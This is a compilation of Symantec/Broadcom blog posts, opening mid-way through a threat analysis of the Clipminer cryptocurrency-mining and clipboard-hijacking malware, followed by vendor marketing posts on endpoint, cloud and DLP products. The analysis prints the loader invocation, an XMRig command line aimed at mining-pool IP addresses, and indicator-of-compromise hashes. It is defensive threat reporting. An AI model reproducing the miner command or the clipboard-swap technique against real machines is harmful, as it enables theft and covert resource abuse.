Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Arguments: /u "C:\Program Files (x86)\Common Files\DevelTies\JueuiSirvices\imsgt_dvepr.dll"
WorkingDirectory: C:\Program Files (x86)\Common Files\DevelTies\JueuiSirvices
It creates the following empty registry key (likely as an infection marker):
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\[VARYING_UUID_FORMAT]
For example:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{19C316FE-770F-426C-9B63-F76C34154769}
The loaded payload starts a v3 Onion Service (the address changes per infection). We also observed traces of another v3 Onion Service (possibly used to ping the attackers whenever the compromised machine comes online).
The payload will monitor keyboard and mouse activity to determine if the machine is in use. It also appears to monitor running processes, checking for analysis/troubleshooting tools.
Whenever the malware determines that a machine is not in use (and at least some of the troubleshooting tools are not used), it starts the XMRig cryptocurrency miner. There are some indications that the attackers used a different miner in the past. Also, it is very likely that a different miner is used when a dedicated GPU is available (e.g. NVIDIA graphics card).
We also observed what looks like an XMRig command line (used during injection):
6Y6H --cpu-max-threads-hint=99 -k --pause-on-battery -o 94.75.205.148:443 -o 179.60.146.9:443
The sample includes a list of IPv4 addresses and picks two each time.
There is also an example JSONRPC request in memory (before encryption):
{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"app/1 (Windows NT 10.0; Win64; x64) libuv/1.41.0 msvc/2019 rnd/dywqmjcdytwkxewrvtqznxgmpmdzyqgulzacxcxx","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","rx/0","rx/wow","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/wrkz"]}}
Additionally, the malware monitors the clipboard for cryptocurrency addresses and replaces them with ones controlled by the attackers.
Figure 1. Clipminer monitors the clipboard for cryptocurrency addresses and replaces them with ones controlled by the attackers
Figure 2. Clipminer gains control of the computer’s clipboard and replaces cryptocurrency addresses with ones controlled by the attackers
Samples of the Clipminer malware began to appear around January 2021, with the cryptocurrency wallets used by the malware’s operators seeing activity begin in February of the same year. This is just a few months after KryptoCibule was uncovered and blogged about by ESET researchers.
While we cannot confirm if Clipminer and KryptoCibule are one and the same, the design similarities are striking. It is possible that following the exposure from ESET’s blog, the KryptoCibule actors may have decided to switch things up and launched Clipminer. Another possibility is that different threat actors may have taken inspiration from KryptoCibule and created Clipminer in its image.
However, whatever the truth may be, one thing is clear: Clipminer has proven a successful endeavor, earning its operators a considerable amount of money.
Protection/Mitigation
Trojan.Clipminer
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
bd48b5da093a37cfa5e3929c19ac06ce711bd581bc49040e68d2ba0e5610bf71 – Dropper
1d31bea6a065fa20cf41861d21b7ea39979d40126c800ebc87d07adb41fe03f4 – Downloader
f49a5a0f2397609a3fb97728b5a997eb77cfa1b529188403fb5e8adaeac1860b – Packed load point
12e6883046e2c92cbe3b5706ea7f1181b44512f179c7f04e88e75f3f6e392a48 – Downloader
|
Cloak and Dagger: Unpacking Hidden Malware Attacks
Symantec Adds “The Emulator” to its Single-Agent Endpoint Arsenal
Malware attacks have become part of our daily life. In just the past six weeks, we’ve seen a major DDoS attack take down Twitter, Spotify and other high-traffic internet properties, a ransomware attack on the San Francisco Municipal Transportation Authority, and perhaps most notably, the new "Gooligan" attack on Android phones – reportedly responsible for "the biggest single theft of Google accounts on record."
According to AV-TEST, there are 578.7 million malware programs in existence today, with four to five new malware threats per second. Many of these malware programs make use of "packers" – software programs used to compress and encrypt files for transport, which are then executed in memory upon arrival.
While packers themselves are not malware, attackers use them to hide malware and obfuscate the code’s real intention. Once unpacked, the malware executes and launches its malicious payload with impunity – often bypassing firewalls, gateways and malware protection. Over the past 10 years, attackers have shifted from using commercial packers (UPX, PECompact, ASProtect, Themida, etc.) to creating custom packers, which use proprietary algorithms to bypass standard detection techniques.
Many of the emerging custom packers are polymorphic, which simply means that they use an anti-detection strategy whereby the code itself changes frequently, but the purpose and functionality of the malware remains the same. Custom packers are also able to use clever ways of injecting code into a target process and change its execution flow, frequently throwing off unpacker routines. Some of them are computationally intensive, calling special APIs that make unpacking difficult.
In short, custom packers are growing increasingly sophisticated, operating like "cloaking devices," to steal a Star Trek metaphor, to hide the attack until it’s too late. (Romulans may or may not be involved). In fact, custom packer usage has become so widespread that by 2015, Symantec saw them deployed in upwards of 83% of all malware attacks, with Upatre, Virut and Sality malware families being particularly virulent.
Symantec Endpoint Protection 14 has introduced a powerful new malware killer – called the Emulator – to counter custom packer attacks. The Emulator fools malware into thinking it will run on the regular machine, and instead unpacks and detonates the file in a lightweight virtual sandbox on the endpoint. The malware then opens up and shows its true colors, causing threats to reveal themselves in a contained environment.
While this sounds straightforward, it requires incredibly sophisticated technology that mimics operating systems, APIs and processor instructions, while managing virtual memory and running various heuristics and detection technologies to examine the payload. All this takes place in milliseconds – an average of 3.5ms for clean files and 300ms for malware -- to minimize impact on the user experience. The sandbox so created is ephemeral and goes away after the job is done.
The real power of Emulator is that it works in concert with Symantec’s full endpoint suite to protect and respond at scale. This includes a broad array of powerful techniques including advanced machine learning, memory exploit mitigation, behavior monitoring and reputation analysis. Sometimes multiple engines come into play, collaborating in an orchestrated response to prevent, detect and remediate attacks.
All of this is fueled by the world’s largest civilian threat intelligence network. Thanks to our broad footprint across endpoint, network and cloud security, we have threat data from more than 175 million endpoints and 57 million attack sensors being monitored in real time every day, minute by minute. Our Security Technology and Response team also monitors malicious code reports from 200-plus countries, tracking more than 25,000 vulnerabilities affecting more than 55,000 technologies from more than 8,000 vendors.
The advantages to this approach are easy to see:
Our customers’ security teams are able to expose and evaluate the deepest layers of malware, maximizing protection and minimizing the impact of malicious payloads.
Threat intelligence can be used to educate security systems and protocols, while informing new techniques to stay ahead of the bad guys.
Threats can be detected quickly with minimal performance and productivity impact, so people can focus on getting their jobs done.
Attackers are always on the lookout for new ways to penetrate the enterprise, and custom packers have been a big open hole in the security landscape. We’re excited to deliver new techniques like the Emulator to help our customers fight back.
# # #
Check out our webinar with Adrian Sanabria from 451 Research to learn more about next-generation endpoint protection, and watch this space for regular blog posts that drill deeper into key capabilities with insights from Symantec and third-party experts.
|
Closing the Cybersecurity Skill Gap with Broadcom Knights
Elite technical team enables organisations to meet and exceed security and business goals
At the recent Broadcom Partner Momentum Summit in Barcelona, Gradian was awarded the ‘Technical Enablement – Cybersecurity Partner of the Year EMEA’ for 2022. Whilst the recognition means a lot to both our technical team from a validation perspective and to Gradian as a whole, the event itself delivered a lot more than the award; it provided training, knowledge, expertise and cemented relationships.
Gradian and Broadcom: Better Together
Based in the UK, Gradian helps enterprises protect their brand, data and users across mail, web and the endpoint. We are a boutique company serving organisations across all verticals. We firmly believe that our participation in the Broadcom Knight Program is a key competitive differentiator - Broadcom recognizes the Knights program as the highest level of recognition and expertise that Broadcom offers to its Symantec Partners for exceptional technical leadership and skill amongst Partner technical professionals who advocate for the Symantec enterprise products, and are active sellers and promoters of Symantec enterprise technology.
Experience tells us that the hands-on knowledge we gain from the program is invaluable to our customers; as is the peace of mind they gain from knowing we are exposed to the same level of training and resources as Broadcom’s own team. Our technical team, myself included, currently comprises eight Broadcom Knighthoods, and we continue expanding our involvement in this highly regarded program.
Going Beyond Marketing Datasheets: Why Networking Still Matters
Gradian had a strong turnout for the Summit, from our CEO to our technical team and selected sales representatives. We spent time with highly accomplished members of the Broadcom team renowned for their depth of product -knowledge and use cases. During the event’s breakout sessions, we had the opportunity to gain the mindshare of Broadcom product managers and discuss customer issues and identify resolutions.
Key Takeaways
Broadcom’s Partner Momentum Summit provided an excellent opportunity to learn about the company’s cybersecurity innovation, integrations, and product roadmap. Below are just a few of my key takeaways:
Ongoing innovation: At the Summit, we learned where Broadcom is making investment, both today and in the future. We gained first-hand experience of the breadth and depth of these products and integrations. These insights are essential; sight of their projected roadmap better helps us evolve our business and serve our customers whilst ensuring we remain both agile and aligned to the technologies we represent. When considering using a particular security vendor, we always recommend that our customers ask questions such as: "What are the product projected roadmaps? What are the innovations? Where do they add value? Where are their specialist skills? Can specific partners offer the same skills?” The Summit delivered on answers to these and we can confidently pass on this information to our customers.
A one-stop-shop for enterprise security: Broadcom offers a wide range of best-in-breed security tools to protect against evolving threats. Based on both the forecasted roadmap communicated at the event and experience to date, it became evident that Broadcom is quickly becoming a one-stop shop for security solutions, and that’s good news for our customers from both a cost and pain reduction perspective.
More integrations improve usability and management: Broadcom’s products are not only well-integrated within their own suite but also integrate with an increasingly growing number of cloud applications. Broadcom solutions’ “single pane of glass” approach helps provide excellent visibility, easy deployment and facilitated management for both our customers and for us as their incumbent partner.
Strong technical security experts: The Broadcom Knights are an elite team of technical security experts with access to Broadcom’s knowledge and innovation. Being part of the program enables us to become a seamless extension of our customers’ security team leaving them time to focus on other priorities. We can help close the skills gap whilst supporting our customers to ensure they hit all their goals and the criteria necessary to meet compliance and other risk management requirements.
Optimise existing security investments: Many companies buy the products but don't always derive optimal value from them. Often, these organisations tell us they don’t have the time or skillset to use their latest solution. There's no value in having a product sitting unused in your environment for a year or longer. The Broadcom Knights partner program provides the training, expertise and industry knowledge organisations need to fully leverage their security tools to measurably improve their security posture.
What’s Next
Back in our UK offices, we are taking everything we learned at the Summit and translating it into actionable value and benefit for our customers.
Despite the event being primarily EMEA-focused, there were also attendees from other regions. It was good to learn from other countries about their infrastructure and the challenges they seek to solve - we all benefit by learning from each other. Since the market and the challenges are constantly changing, Gradian will continue to listen, learn and to build on our technical skill with the help of programs like Broadcom Knights.
Our objective is to convert this knowledge into tangible customer value and the Broadcom Knights program helps us to do just that. Read more here about the Broadcom Knights program.
|
Cloud, Automation and the Future of DevSecOps
DevSecOps offers a new approach to improving the security of cloud-based applications by integrating security into key steps of the DevOps process itself
There is no greater urgency in business today than to move everything to the cloud. The ubiquity of this cloud imperative is fueling an almost frantic pace of application development as no business wants to be left behind. But organizations are discovering that the velocity and speed of their digital transformation may also come with a high price: the vast majority of cloud security failures are the result of misconfiguration errors resulting from mistakes made during the application development process. A process that more and more is being driven by the software development paradigm called DevOps.
DevOps is a philosophy and approach to software development based on bringing together formerly siloed software development and operations organizations into one collaborative team focused on a single goal or solution. The basic idea is to accelerate application development by having everyone work off the same playbook. The challenge is that, as in many new ways of doing things, it’s far easier said than done. In particular, while development engineers tend to disregard risk in developing new applications, operations team guys tend to be risk adverse. After all, their job is to ensure that their IT systems remain up-and-running around the clock to support their businesses.
The basic idea is to accelerate application development by having everyone work off the same playbook.
The DevOps approach was never really developed with security as a guiding principle. Speed was, and is, the number one priority. An unfortunate result is the seemingly endless headlines about data breaches, ransomware attacks, identity thieves and stolen personal information. So, what’s to be done? A solution that shows tremendous promise derives from DevOps itself. It’s called DevSecOps.
The DevSecOps Framework
DevSecOps is essentially the DevOps concept on security steroids. It’s based on the idea that security should be woven into every phase of the application development process. In a recent report, The Cloud Safety Alliance (CSA), the cloud computing industry’s preeminent organization dedicated to cloud security (Symantec is an executive member), outlined six areas it considers critical to improving the security of the DevOps application development process.
These six focus areas align with the pillars of a new approach to information security management called reflexive security. Reflexive security emphasizes an organization’s collective responsibility for security. It is a holistic approach that sees every process within the IT environment, including the security of the DevOps process, as related to the overall process itself and the needs of the organization.
Along with collective responsibility, the focus areas of DevSecOps include an emphasis on creating a security-aware culture based on collaboration across the entire enterprise. DevSecOps sees the proliferation of point solutions for security in the DevOps process as a reason for many of the security vulnerabilities that result. It urges organizations to take a holistic view of the software lifecycle and consider platform solutions that make it easier to integrate security solutions. It argues that platform solutions offer the added benefit of enabling organizations to identify inflection points in the application development process where security controls can be inserted and automated. This last point, recommending a move to automate is, perhaps, the most significant of all.
Automation the Key to Effective DevSecOps
If there’s a cardinal rule for DevOps, it is “automate everything.” With speed almost always of the essence, the goal is to drive every phase of development by automated processes. The logic is simple: automating processes helps eliminate the current reliance on the manual coding and configuration, testing, deployment and patching practices responsible for the vast majority of cloud security failures.
At the very least, implementing automated quality checks at key junctures in the DevOps process will substantially reduce the time and eventual cost of errors discovered using manual processes. It almost goes without saying that automated processes are clearly more efficient from a process management standpoint. As an old software development mantra paraphrased in the CSA report notes quite succinctly: if you’re doing the same thing three times, it’s time to program it.
Looked at through the lens of DevOps, processes that can be automated should be, and those that can’t should be eliminated. But there are challenges to this approach. One challenge is determining at what point automating a security process does more harm than good. Linking too many development phases into a single automated process, for example, may result in serious incompatibility issues downstream as an organization’s legacy systems roadblock the new application. It’s also why implementing the DevSecOps process emphasizes both planning and collaboration across multiple areas in an organization. Indeed, the CSA notes that implementing DevSecOps initiatives typically require months to several years to implement depending on their scope and complexity.
Looked at through the lens of DevOps, processes that can be automated should be, and those that can’t should be eliminated. But there are challenges to this approach.
But clearly, the results are worth the time, culture change, and commitment. Implementing a modern, automated DevSecOps approach reduces the complexity, time and configuration errors bedeviling the application development process today and the subsequent fallout in data breaches, large-scale hacks of corporate and personal information, and other cloud security errors.
For organizations looking to learn more about integrating automated DevSecOps processes into their digital transformation strategies, CSA members such as Symantec invite you to get in touch. They are there to offer you the expert advice and other technical and resource assistance you may require.
|
Cloud-Delivered Network Security No Longer Optional
As increasingly aggressive cyber criminals launch attacks from the web, organizations need to meet the new security and compliance challenges of the Cloud Generation
The adoption of the public cloud is driving a fundamental change in the way organizations connect remote users and distributed sites to their networks and applications. But as we’ve seen during other great times of change, tech transitions are tricky and always raise new security concerns. These are the security concerns of the Cloud Generation.
For starters, security professionals no longer defend a defined perimeter. We now live in an era in which employees increasingly work remotely while more network traffic than ever is going over cloud apps, like Office 365. Cyber criminals have taken notice and have pivoted their focus. While Internet use is spiking, the web has become the biggest threat vector that companies now face.
All this presents cyber security professionals with a host of acute challenges, as anyone can see by glancing at the headlines. Cyber criminals are getting more aggressive and increasingly skilled at launching attacks from the web. For example, they are deploying an assortment of new, advanced threats that target employees’ web browsing. They are also taking advantage of “blind spots” created by encrypted web and application traffic, hiding malware inside of it to increase chances of penetrating a network’s defenses.
The elevated threat environment is not going to slow the corporate world’s embrace of cloud computing. But even as the cloud’s attractiveness as a great delivery platform continues to gain adherents, IT needs to ensure that their organizations aren’t leaving themselves vulnerable to any new security or compliance threats.
From a big picture perspective, practitioners must ensure that their cloud security service is equipped with all of the advanced capabilities necessary to protect your organization in today’s elevated threat environment. And here is another way that cloud can help: It can make it very simple to consume advanced capabilities. What’s more, advanced capabilities do not have to equate to complicated usage models, and well-designed cloud security services take this to heart.
Let’s examine more closely how some modern threats can put new stresses on a company’s existing security architecture.
Symantec: Cloud Network Generation
The Challenge to Traditional Security Thinking
Firewalls still remain at the core of so many network security stacks. But firewalls were created with a very different design in mind. The goal was to make sure that only certain people had access to certain locations via certain ports. Firewalls were not meant to deeply scan passing traffic coming in from the web. It’s not possible to fix this by retrofitting an architecture to do something that it wasn’t designed to do.
The problem is that attackers are becoming adept at finding ways to slip under a firewall’s limited radar. For example, they break their malware into pieces that are missed by a firewall’s traffic streaming approach, and re-assemble them once they are inside of your network. From there, they are off to the races.
Encryption presents another big security challenge. More traffic than ever before now gets encrypted. On the surface, that ought to be a good thing. But organizations that rely on cloud and web applications also need to be able to inspect encrypted traffic because malicious actors are taking advantage of encryption to proliferate malware.
The problem is that if you can’t view encrypted traffic, you’re left effectively blind to modern threats. Increasingly, many of these threats are hiding in encrypted traffic and so advanced malware winds up overwhelming traditional network defenses that are unable to properly scan it. This is shaping up to be a popular mode of attack; Gartner expects that about half of the malware campaigns this year will use some type of encryption to conceal malware delivery. So, it’s all the more urgent that security teams find to a way to see what’s inside those encrypted files to protect their networks.
What’s more, your employees’ web browsers themselves have now become a popular attack surface. Attackers are exploiting vulnerabilities in popular browsers to deliver malware to endpoints via the web page rendering resources that are downloaded to the browsers themselves when the page is loading. Traditional security approaches do not protect you from this critically important attack vector.
It’s not good enough to get a security alarm after the fact. By then, the malware has already infiltrated the network and your incident response teams are scrambling just to keep up. The focus needs to be on preventing the malware in the first place.
Finally, as you are considering cloud-delivered security, you need to include the “on-ramp” to the cloud in your solution design process. Specifically, think about selecting SD-WAN connectivity for your branches that is tested and certified to work with your preferred cloud security solution – better yet if it is from the same vendor. Also, if you are implementing a defense-in-depth strategy, putting protection on your endpoints as well as having network-based security, select a solution that is designed to work well together. For example, if you already have an agent on your mobile devices giving you endpoint security, try to use that very same agent as the means to redirect web traffic to your network security service in the cloud. Everyone can agree – one less agent to manage and update is a good thing.
Call to Action
That’s why having a web and cloud security gateway with advanced capabilities is vital. Symantec’s Web Security Service - a full security stack in the cloud – has the advanced capabilities required to solve the security challenges of the Cloud Generation. And instead of needing to integrate yet another new point product to defend against the latest attack, Symantec’s cloud platform is designed to work in-concert to simplify the task of protecting your organization.
We start with a Proxy (Secure Web Gateway) Core, the most powerful way to secure the world of Web and Cloud. We’ve added security services like Malware Analysis Sandboxing, Web Isolation, and Data Loss Prevention, and make it easy to integrate with our endpoint protection products (SEP and SEP Mobile), our own SD-Cloud Connector SD-WAN solution for branch offices, or multiple other certified SD-WAN connection partners.
Unlike firewalls, our proxies inspect files and web content completely before letting information in or out, even if encrypted. Every web and cloud transaction is inspected and logged, feeding security infrastructure for threat and compliance scanning. And the proxy makes sure that anything is reassembled before it gets inspected so as to catch any dangerous stuff that might otherwise slip past a traditional firewall. That means compliance-sensitive information stays in while malware stays out.
We also defend against another type of threat that also presents growing risk to IT: Employees are unknowingly downloading new forms of malware just by visiting infected sites. These compromised elements might include style sheets, fonts, or JavaScript - but when they get downloaded to the browser so the page renders properly, the bad stuff – the malware – comes with it.
What you need is the ability to deal with that danger - something that Symantec’s threat isolation technology provides by creating a secure execution environment between users and the web, sending only a safe visual stream of the web page to users' devices. In this way, isolation eliminates entirely any web-borne threats that might be hidden in the web pages your user is visiting. (Indeed, Gartner recommends that enterprises evaluate and pilot remote browser solutions, commenting that the technology is one of the most significant ways an enterprise can reduce the odds that web-based attacks will inflict damage.) Symantec’s Web Security Service is the only cloud-delivered security web gateway service in the industry to offer this innovative threat prevention capability.
We’ve built all of this on top of a high-availability, accelerated cloud backbone that improves the secure performance of cloud applications like Office 365. As a customer recently told me, Symantec’s Web Security Service offers best-in-class security, simplified. I could not agree more so check it out as you plan your move to the cloud.
If you found this information useful, you may enjoy:
Symantec Web Security
If You’re Moving to the Cloud, Don’t Settle for Half Measures
|
Cloud Computing and the Shifting Role of Cyber Security
As cloud computing changes the government technology landscape, the conversations around security must change as well
It is safe to say that cloud computing and cyber security have been the dominant technology topics in the federal government for the past decade and continue to be today. Look no further than the most recently released Cloud Smart Strategy and National Cyber Strategy. It is clear that the administration is focused on continuing to advance these capabilities across the federal government.
At a high-level, these strategies place a focus on the workforce, security and procurement to promote cloud adoption, as well as pushes a more offensive cyber posture. Although these strategies present promise, it is the execution that will determine whether they succeed. It’s time to redefine what cloud and cyber looks like in government.
On October 30, the Symantec Government Symposium will change the conversation around cyber security, especially how it relates to cloud computing and the associated security requirements. As cloud computing changes the government technology landscape, the conversations around security must change as well.
The Symantec Government Symposium will feature leaders from government and industry taking part in an interactive discussion on:
How to protect data no matter where it travels or resides
How to automate threat detection and accelerate intelligence sharing
How to build an unrivaled cyber workforce
How to put security at the forefront of the technology ecosystem as more devices and data points become part of government systems
While the day’s conversations will center on security with cloud being a key discussion point, there are several panels and keynotes dedicated to this topic.
Bradon Rogers, Symantec’s senior vice president, worldwide sales engineering and product marketing, will lead off the event with a discussion on the different attack vectors hackers use in the cloud era, with a focus on getting ahead of the attacks of tomorrow. Later in the day, a technical track session will address a central tenet of the administration’s modernization strategy – effectively and securely migrating applications and data to the cloud. The session will discuss how agencies should implement a unified network-based platform and flexible security architecture to help meet the goals set forth by the administration. These are just two of many discussions that will take place around cloud security.
Cloud Smart and the National Cyber Strategy will drive the government’s cloud and cyber programs for the foreseeable future. As the government pivots its cloud and cyber strategies, it is important that the government technology community takes a leadership role in instituting this change. The Symantec Government Symposium focuses on leading this shift.
For the complete Symantec Government Symposium agenda, visit here.
If you found this information useful, you may also enjoy:
OMB: Cloud Smart Proposal
|
Cloud Generation Endpoint Security – Protect Your Users Everywhere and On All Devices
SEP 14 to SEP 14.1
In the last decade, the cloud has transformed business and made it routine for company employees to access data and applications remotely. People now work from anywhere, not just from their corporate headquarters. They telecommute regularly from hotels, airports or coffee shops - anyplace where they can get a connection (whether secured or not.)
At the same time, the proliferation of BYOD has added - literally - billions of devices into the enterprise ecosystem. But as organizations add these unmanaged devices to their networks, IT must address new security considerations, including plans for endpoint security.
Unfortunately, there is a tendency among many security managers to treat breaches on a one-off basis. Their default approach is to apply one point product after another to combat the latest emergency. That may work for putting out brushfires. But when they are suddenly faced with large-scale security incidents, like the WannaCry ransomware outbreak earlier this year, the organization will be totally unprepared to deal with the enormous scope of the attack.
Frankly, enterprises now square off against a cohort of hackers who are more sophisticated and better equipped than ever before to penetrate defenses and inflict losses. If businesses fail to integrate endpoint security as a strategic component of their network architecture, it will only make it that much easier for bad guys to have their way.
SEP 14 to SEP 14.1
In the past, defenders were forced to cobble together separate point products made by different vendors, but these solutions weren’t engineered to work together. With so many endpoints to protect, the challenge could easily prove overwhelming.
We took on that challenge with the introduction of Symantec Endpoint Protection 14 (SEP) one year ago. For the first time, customers could combat cyber threats with an integrated defense platform that would fully orchestrate prevention, detection and response across endpoints, gateways, messaging and the cloud.
How did we fare? The reviews speak for themselves.
Last year, the Economist Group suffered 350 security events, 55 percent of which were malware. But after implementing SEP 14, the company achieved what Vicki Gavin, the company’s head of business continuity, cyber security and data privacy, described as “stunning results.”
After rolling out SEP 14 in the United States and Asia, the company registered a 60% drop in malware events and now expects a further reduction once the rollout in Europe is complete.
More recently, Symantec won a gold award from Gartner for endpoint protection, beating out the likes of McAfee, Trend Micro, Cylance and others.
We did what we said we were going to do and now we are taking the next step, elevating endpoint security to another level to meet the myriad demands of cloud generation endpoint security with the introduction of SEP 14.1.
SEP 14.1 continues in the tradition of its predecessor to redefine endpoint security with lower complexity, bringing together a complete stack for endpoint security.
Not only do our detection and response features help expose, contain and resolve breaches resulting from advanced attacks, but customers don’t need to add separate modules to deploy these sophisticated features.
Deviously Effective Deception
And something entirely unique in the industry: SEP 14.1 adds deception technologies that defenders can use to turn the tables on attackers.
We did this to answer an urgent customer need.
Security teams often lack visibility into attackers’ intent and tactics. By the time companies finally detect an intruder, the damage is often done. (A recent Ponemon Institute report found that the average attacker spends as much as 191 days on a network before being detected.) But with SEP 14.1, organizations are now able to deceive attackers into giving up their locations by leaving fake assets to target. Not only will customers be able to deploy these deceptors at scale but they'll be able to customize them to their particular environments.
The more believable the fake asset, the better chance it has to lure an attacker into interacting with it instead of accessing real resources. The upshot: You'll be better equipped to deceive attackers and trick them into revealing their intent while you improve your overall security posture.
Symantec R&D Spells the Difference
All of these enhancements pay off in the coin of
improved protection - something that promises to be a boon to security operations center (SOC) analysts, whose success or failure often depends on reaction times. None of this is trivial. No other endpoint protection vendor offers deception technology. It took an enormous amount of engineering R&D along with years of experience knowing what works and what doesn't when it comes to protecting customers. In fact, Symantec’s R&D depth and 15-plus years of experience in building endpoint security shows in our ability to rapidly innovate and bring solutions like deception to market.
But that’s a reflection of Symantec’s particular strengths. When it comes to endpoint security, none of our competitors match up. They’re able to provide, at most, 2 to 3 areas of capability. When it comes to offering a full stack, none are in the same conversation.
Meanwhile, many of the traditional endpoint protection platform vendors have ignored mobile security and modern devices (both iOS and Android). But if customers are going to embrace the cloud, rest assured that mobile security will be a key element. Jim Routh, CSO at Aetna, one of our SEP Mobile customers, noted that "the mobile phone is the best surveillance device in history."
Reducing Cost, Reducing Complexity
We’re reducing complexity/OpEx for our customers with quick time to value. A great example is endpoint detection and response (EDR). Customers can leverage SEP (single agent) for deploying endpoint protection plus EDR as well as later on extending that for hardening and deception capabilities.
All this reduces costs and allows the resulting savings to flow directly to the bottom line as customers gain from improved overall total-cost-of-ownership. Instead of needing to invest in various security controls that don’t necessarily improve overall endpoint security, customers benefit from a complete endpoint protection with a single security stack.
Security is obviously a moving target but I think we’ve hit the bullseye with SEP, a product family that offers the most complete endpoint security in the industry. I’d love to hear your feedback. Give the product a look and let me know what you think.
****
Learn more about SEP14.1, integrated EDR, and SEP Mobile in our upcoming Webinar.
Enterprises now square off against a cohort of hackers who are more sophisticated and better equipped than ever before to penetrate defenses and inflict losses.
|
Cloud Managed DLP Now Integrated Into CloudSOC
Seamless DLP Management for SASE
Protecting data is a key component of a SASE solution. Customers are building cloud-based security controls around their systems, users and data. Symantec, by Broadcom Software, is delighted to now provide the capability to manage cloud data loss channels from a cloud-hosted console. This has been achieved by integrating Data Loss Prevention (DLP) management into the Symantec CloudSOC solution.
What is Cloud Managed DLP?
By enhancing the DLP management controls within Symantec CloudSOC (CASB), customers can manage all data loss policies and incidents relevant for the CASB data channel from a single console. This means CloudSOC customers no longer need to use Symantec Enforce to protect data via this CASB solution.
An important use case is that when individuals access corporate information in cloud applications, the necessary DLP policies to scan content in motion and at rest are applied, thereby protecting that information. With these management controls now available in the CloudSOC console, the workflow and infrastructure requirements for data protection teams is greatly simplified.
Additionally, we have OCR in the cloud to complement our cloud detection service capabilities. This service will allow customers to extract textual content from images and then apply their DLP policies to that content to ensure that images don’t contain sensitive content and if they do, then prevent the exfiltration of those images.
What about protecting non-CASB, hybrid and SASE data channels?
Our DLP capability (the management of DLP policies and incidents) is now embedded in our CASB. We also retain the ability to support a hybrid environment. This is achieved from the on-premises Enforce console connecting to our cloud detection services which interface with network components like our Web Security Service, our Email Security Service and our CASB, as well as connecting to on-premise components to provide the data protection our customers need.
As mentioned there are many components that are being brought together for a SASE solution. Those components each have their own console. Many times each are managed by different teams. The logs and events that are captured are held in the individual consoles and require aggregation and analysis.
Why manage DLP in the Cloud?
Bringing these components together brings efficiency to our customers. Bringing DLP to the cloud and embedding management of the policies and incidents in a common console now makes it easier to understand who is doing what with your sensitive information and implement tighter controls when and where needed. This tighter integration of components also allows for better cross-team cooperation.
DLP solutions can be resource intensive requiring significant infrastructure and personnel to maintain that infrastructure just so the solution can do the inspection needed. With a cloud native DLP capability:
The solution is easier to deploy
System upgrades are simpler as they require fewer resources
New features and content are delivered to customers faster
Total Cost of Ownership (TCO) is reduced
While SASE is a relatively new term (coined by Gartner in 2019), we expect organizations to be looking at SASE solutions and moving to them rapidly. Symantec, by Broadcom Software, is committed to helping our customers address the challenges they face in an ever changing environment.
Bringing our components together is part of that commitment and DLP is very much key to providing the security customers need. We are excited about making this new capability available and our future plans to enhance the cloud management available to our customers.
If you want to find out more contact your Broadcom account manager or attend one of our regular User Groups.
Additional information related to this topic can be found here:
Key SASE Components
Symantec SASE Framework
|
Cloud Security in the era of the Vanishing Perimeter
With the crumbling of the fortress concept of cyber defense, defenders need to rethink security in the age of the Cloud Generation
The cloud has changed much about how the world does business. Companies integrating cloud computing have realized tremendous gains in productivity and operations while also helping to reduce infrastructure costs.
At the same time though, the Cloud has hastened the demise of the traditional concept of a network security perimeter. While putting new and exciting IT capabilities within reach, the Vanishing Perimeter also presents profound security challenges.
Not long ago, network security was a physical entity largely built by adding additional pieces to an organization’s cyber fortress and then keeping pace as the operation grew. But now, valuable company information no longer sits in just one place, safely protected behind a protective barrier.
Nowadays, users are everywhere, accessing vital cloud applications from laptops and mobile devices, and perhaps bypassing a carefully planned perimeter defense. Employee expectations have changed, too. They want to be able to securely access information stored in the cloud directly no matter where they are – and do it as easily as they do from inside the central office. They don’t want to experience latency from backhauling traffic to that central office - and they don’t want to bear the burden of that additional cost.
Storming the “Fortress”
Against the backdrop of this transformed business landscape, the challenges involved addressing security risk becomes much more complex. Companies that can’t adapt to the changes are bound to find themselves overwhelmed.
The fortress concept of cyber defense, which held sway for decades, allowed businesses to adopt a perimeter approach for network security. IT deployed – and maintained – sundry firewalls and antivirus solutions to block attacks.
In the traditional fortress concept, the idea was to encircle the crown jewels with multiple layers of defense – in much the same way that historical castles surrounded themselves with moats. The more obstacles that defenders put in place, the more difficult they would make it for the attackers to overcome the fortifications.
But no fortress lasts forever.
We’re now living in the Cloud Generation – and the proverbial edge of the enterprise has morphed in ways that are causing old architecture walls to crumble. There’s too much data flowing into and out of too many places leading IT professionals to rethink the traditional idea of securing the enterprise edge behind a fortress defense.
Cloud application traffic is by definition encrypted. That’s normally a good thing as encryption guarantees more privacy. But you also need to vet any encrypted traffic and make sure you have the necessary security tools in place to protect your data. Unfortunately, the bad guys are taking advantage of the blind spots that encryption creates and hiding malware inside some of this encrypted traffic. What’s more, research shows that the average breach takes 35 days to fix and 200 days to detect - which means a ticking time bomb may be hanging out in your cloud and you won’t even know about it until it’s too late.
Fortunately, there is a solution. The best way to ensure security and compliance for the Cloud Generation is to have your infrastructure right there with them – in the cloud. Ubiquitous, high-performing network security is available with a cloud-delivered service, dealing with these myriad new security challenges.
The cloud approach makes it easy by offering affordable scale, reduced operational overhead as well as the benefits having up-to-date software. At Symantec, our proactive approach, starts off with a basic cloud solution that grows out as your business scales. We also put security first in everything that we do with an offering of flexible compliance tools let customers decide whether and when to decrypt traffic.
We have solutions to help customers manage policies as they see fit. Moreover, we’re not limited by the boundaries of network, email, web or endpoint. Moving to the cloud enables seamless integrations for many of the market leading solutions our customers love. At the center of it all is our best-in-breed Symantec Global Intelligence Network that keeps them apprised of any looming threats.
Organizations shouldn’t need to give up on security when it’s time to make the move. The same applies to performance. Customers don’t have the luxury of compromising on a solution that may bring the network to its knees periodically, leaving frustrated users cut off from their data. That’s why we back our cloud proxy solution with the highest uptime SLA in the industry.
CEOs no longer need convincing why they ought to embrace cloud computing. But they need to know that their organizations’ data will remain safe in this new world order. That’s where the onus will be on IT to plan a cloud security strategy that will justify the C-suite’s embrace of the cloud.
